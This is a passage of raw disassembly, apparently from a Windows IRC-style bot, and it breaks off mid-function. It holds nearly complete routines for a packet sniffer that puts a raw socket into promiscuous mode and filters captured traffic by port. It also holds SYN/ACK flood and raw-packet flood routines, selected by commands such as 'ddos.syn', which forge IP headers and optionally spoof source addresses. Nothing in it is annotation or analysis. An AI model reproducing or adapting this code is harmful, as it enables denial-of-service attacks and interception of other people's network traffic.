var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9F8	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA68	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA64	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA10	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437878
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB990	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437848
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9FC	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		call	dword_4271D0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_4271D0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437814
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377E0
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377AC
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_437774


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43773C
		jmp	short loc_413573
sub_4131EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135DF	proc near		; DATA XREF: sub_401ACD+6464o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4139CB
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_4378A4
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_413672
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_409869
		add	esp, 14h


loc_413672:				; CODE XREF: sub_4135DF+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_415D38
		push	[ebp+var_290]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_4135DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: sub_4139CB+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB954	; WSAStartup
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA88	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9C4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9E4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9E4	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9E4	; htons
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9E4	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9E0	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9E4	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_42713C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9E4	; htons
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9E4	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9E0	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9E4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA48	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378CC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA7C	; closesocket
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB93C	; WSACleanup
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139CB	proc near		; CODE XREF: sub_4135DF+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A8F0
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41C159
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: sub_4139CB+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4139CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A29	proc near		; DATA XREF: sub_401ACD+6643o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CBA64	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_413AC4
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4379CC
		push	eax
		call	sub_41C266
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413AA7
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413AA7:				; CODE XREF: sub_413A29+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413AC4:				; CODE XREF: sub_413A29+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CB9C4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413B3B
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_43799C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413B1E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413B1E:				; CODE XREF: sub_413A29+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413B3B:				; CODE XREF: sub_413A29+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413BA2
		lea	eax, [ebp+var_3BC]
		push	offset unk_43797C
		push	eax
		call	sub_41C266
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_413B85
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413B85:				; CODE XREF: sub_413A29+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413BA2:				; CODE XREF: sub_413A29+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4CB9E4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	esi, dword_4270B0
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_413BE0:				; CODE XREF: sub_413A29+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_413D8B
		push	41Ch
		mov	byte_4CE750, 45h
		call	dword_4CB9E4	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4CE752, ax
		mov	word_4CE754, bx
		mov	word_4CE756, di
		mov	byte_4CE758, 80h
		mov	byte_4CE759, bl
		mov	word_4CE75A, di
		jz	short loc_413C66
		call	sub_41C2C2
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41C2C2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41C2C2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41C2C2
		add	ebx, eax
		push	1
		mov	dword_4CE75C, ebx
		pop	ebx
		jmp	short loc_413C7E
; ---------------------------------------------------------------------------


loc_413C66:				; CODE XREF: sub_413A29+20Bj
		push	[ebp+var_1BC]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	dword_4CE75C, eax


loc_413C7E:				; CODE XREF: sub_413A29+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4CE760, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE764, dl
		call	sub_41C2C2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE765, dl
		call	sub_41C2C2
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4CE766, di
		mov	word_4CE76A, bx
		inc	edx
		mov	word_4CE768, dx
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4CE76C
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4CE750
		push	[ebp+var_4]
		call	dword_4CBA48	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413D16
		inc	[ebp+arg_0]
		jmp	loc_413BE0
; ---------------------------------------------------------------------------


loc_413D16:				; CODE XREF: sub_413A29+2E3j
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_437934
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_413D6E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413D6E:				; CODE XREF: sub_413A29+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413D8B:				; CODE XREF: sub_413A29+1C8j
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4378E8
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413DF3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413DF3:				; CODE XREF: sub_413A29+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
sub_413A29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E10	proc near		; DATA XREF: sub_401ACD+542Do

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
